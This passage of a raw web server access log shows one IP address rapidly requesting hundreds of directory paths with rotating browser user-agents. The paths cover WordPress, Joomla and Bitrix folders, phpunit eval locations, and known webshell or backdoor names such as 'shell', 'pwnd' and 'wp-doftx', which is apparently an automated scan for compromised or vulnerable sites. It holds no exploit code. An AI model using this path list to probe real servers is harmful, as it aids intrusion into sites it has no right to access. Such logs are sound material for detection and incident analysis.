HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:58 +0300] "GET /wp-includes/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:58 +0300] "GET /includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:59 +0300] "GET /js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:59 +0300] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:59 +0300] "GET /block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:59 +0300] "GET /default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:00 +0300] "GET /pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:47:00 +0300] "GET /css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:00 +0300] "GET /block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:00 +0300] "GET /themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:00 +0300] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:01 +0300] "GET /Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:47:01 +0300] "GET /Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:01 +0300] "GET /SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:01 +0300] "GET /css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:47:02 +0300] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:02 +0300] "GET /widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:02 +0300] "GET /themes/scapeshot/includes/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:02 +0300] "GET /themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:02 +0300] "GET /themes/bltm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:03 +0300] "GET /themes/newstoday/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:47:03 +0300] "GET /css/dist/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:03 +0300] "GET /css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:03 +0300] "GET /images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:47:03 +0300] "GET /maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:04 +0300] "GET /Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:04 +0300] "GET /phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:04 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:04 +0300] "GET /themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:05 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:05 +0300] "GET /themes/rehub-theme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:05 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:05 +0300] "GET /themes/fitnessbase/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:05 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:06 +0300] "GET /joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:06 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:06 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:06 +0300] "GET /js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:06 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:07 +0300] "GET /blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:07 +0300] "GET /themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:47:07 +0300] "GET /themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:07 +0300] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:07 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:08 +0300] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:08 +0300] "GET /xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:08 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:08 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:08 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:47:09 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:09 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:09 +0300] "GET /wp-content/plugins/wp-doftx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:09 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:09 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:10 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:47:10 +0300] "GET /wp-includes/text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:10 +0300] "GET /plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:47:10 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:10 +0300] "GET /wp-content/plugins/wp-help/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:11 +0300] "GET /wp-content/uploads/2015/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:11 +0300] "GET /wordpress/wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:47:11 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:47:11 +0300] "GET /wp-admin/css/color/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:12 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:12 +0300] "GET /wp-admin/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:12 +0300] "GET /wp-content/plugins/wp-doft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:12 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:12 +0300] "GET /wp-content/plugins/seoxx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:13 +0300] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:47:13 +0300] "GET /wp-content/plugins/instabuilder/cache/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:13 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:13 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:13 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:14 +0300] "GET /wp-content/plugins/hellopress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:14 +0300] "GET /bitrix/admin/htmleditor2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:14 +0300] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:14 +0300] "GET /wp-content/plugins/instabuilder2/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:47:14 +0300] "GET /wp-admin/maint/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:15 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:47:15 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:15 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:47:15 +0300] "GET /phpunit/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:16 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:16 +0300] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:16 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:16 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:16 +0300] "GET /wordpress/wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:47:17 +0300] "GET /wp-includes/PHPailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:47:17 +0300] "GET /wp-content/plugins/helloapx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:17 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:17 +0300] "GET /wp-content/themes/kadence/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:47:17 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:18 +0300] "GET /wp-content/fonts/nunito/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:18 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:18 +0300] "GET /js/tinymce/plugins/filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:18 +0300] "GET /vendor/phpunit/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:47:18 +0300] "GET /lib/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:19 +0300] "GET /wp-content/themes/moog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:19 +0300] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:19 +0300] "GET /plugins/finder/categories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:47:19 +0300] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:20 +0300] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:20 +0300] "GET /wp-content/plugins/wpcall-button/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:20 +0300] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:20 +0300] "GET /templates/protostar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:20 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:47:21 +0300] "GET /wp-content/themes/twentynineteen/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:47:21 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:21 +0300] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:47:21 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:21 +0300] "GET /vendor/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - 